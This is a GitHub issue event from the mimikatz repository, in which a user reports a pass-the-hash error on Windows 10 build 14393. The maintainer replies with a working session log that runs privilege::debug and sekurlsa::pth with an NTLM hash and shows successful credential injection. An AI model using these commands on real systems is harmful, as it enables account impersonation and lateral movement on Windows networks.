{"action":"created","issue":{"url":"https://api.github.com/repos/gentilkiwi/mimikatz/issues/57","repository_url":"https://api.github.com/repos/gentilkiwi/mimikatz","labels_url":"https://api.github.com/repos/gentilkiwi/mimikatz/issues/57/labels{/name}","comments_url":"https://api.github.com/repos/gentilkiwi/mimikatz/issues/57/comments","events_url":"https://api.github.com/repos/gentilkiwi/mimikatz/issues/57/events","html_url":"https://github.com/gentilkiwi/mimikatz/issues/57","id":171048116,"number":57,"title":"PTH Issue with Windows 10 / 1607","user":{"login":"cfalta","id":7213829,"avatar_url":"https://avatars.githubusercontent.com/u/7213829?v=3","gravatar_id":"","url":"https://api.github.com/users/cfalta","html_url":"https://github.com/cfalta","followers_url":"https://api.github.com/users/cfalta/followers","following_url":"https://api.github.com/users/cfalta/following{/other_user}","gists_url":"https://api.github.com/users/cfalta/gists{/gist_id}","starred_url":"https://api.github.com/users/cfalta/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cfalta/subscriptions","organizations_url":"https://api.github.com/users/cfalta/orgs","repos_url":"https://api.github.com/users/cfalta/repos","events_url":"https://api.github.com/users/cfalta/events{/privacy}","received_events_url":"https://api.github.com/users/cfalta/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2016-08-14T08:25:24Z","updated_at":"2016-08-14T10:01:35Z","closed_at":null,"body":"Hello Benjamin,\r\n\r\nI get the error \"kull_m_memory_copy (0x00000005)\" when trying to use PTH with Windows 10 Build 10.0.14393 (Windows 10 Enterprise). Credential dumping works as usual.\r\nI attached the log file, thanks for any advice you can give.\r\n[mimi.txt](https://github.com/gentilkiwi/mimikatz/files/416942/mimi.txt)\r\n\r\nBest regards,\r\n\r\nChristoph"},"comment":{"url":"https://api.github.com/repos/gentilkiwi/mimikatz/issues/comments/239665482","html_url":"https://github.com/gentilkiwi/mimikatz/issues/57#issuecomment-239665482","issue_url":"https://api.github.com/repos/gentilkiwi/mimikatz/issues/57","id":239665482,"user":{"login":"gentilkiwi","id":2307945,"avatar_url":"https://avatars.githubusercontent.com/u/2307945?v=3","gravatar_id":"","url":"https://api.github.com/users/gentilkiwi","html_url":"https://github.com/gentilkiwi","followers_url":"https://api.github.com/users/gentilkiwi/followers","following_url":"https://api.github.com/users/gentilkiwi/following{/other_user}","gists_url":"https://api.github.com/users/gentilkiwi/gists{/gist_id}","starred_url":"https://api.github.com/users/gentilkiwi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gentilkiwi/subscriptions","organizations_url":"https://api.github.com/users/gentilkiwi/orgs","repos_url":"https://api.github.com/users/gentilkiwi/repos","events_url":"https://api.github.com/users/gentilkiwi/events{/privacy}","received_events_url":"https://api.github.com/users/gentilkiwi/received_events","type":"User","site_admin":false},"created_at":"2016-08-14T10:01:35Z","updated_at":"2016-08-14T10:01:35Z","body":"Are you sure you use latest `mimikatz` release? ( https://github.com/gentilkiwi/mimikatz/releases/latest )\r\nAnd, do not forget: https://github.com/gentilkiwi/mimikatz/wiki/howto-~-open-an-issue\r\nOn my side:\r\n```\r\nmimikatz 2.1 (arch x64)\r\nWindows NT 10.0 build 14393 (arch x64)\r\nmsvc 150030729 207\r\n\r\nmimikatz # privilege::debug\r\nPrivilege '20' OK\r\n\r\nmimikatz # sekurlsa::pth /user:admin /domain:parent.local /ntlm:cc36cf7a8514893efccd332446158b1a\r\nuser    : admin\r\ndomain  : parent.local\r\nprogram : cmd.exe\r\nimpers. : no\r\nNTLM    : cc36cf7a8514893efccd332446158b1a\r\n  |  PID  4732\r\n  |  TID  2288\r\n  |  LUID 0 ; 848488 (00000000:000cf268)\r\n  \\_ msv1_0   - data copy @ 00000125275C54A0 : OK !\r\n  \\_ kerberos - data copy @ 0000012526DC42B8\r\n   \\_ aes256_hmac       -> null\r\n   \\_ aes128_hmac       -> null\r\n   \\_ rc4_hmac_nt       OK\r\n   \\_ rc4_hmac_old      OK\r\n   \\_ rc4_md4           OK\r\n   \\_ rc4_hmac_nt_exp   OK\r\n   \\_ rc4_hmac_old_exp  OK\r\n   \\_ *Password replace -> null\r\n```"}}
{"actor":{"display_login":"gentilkiwi"}}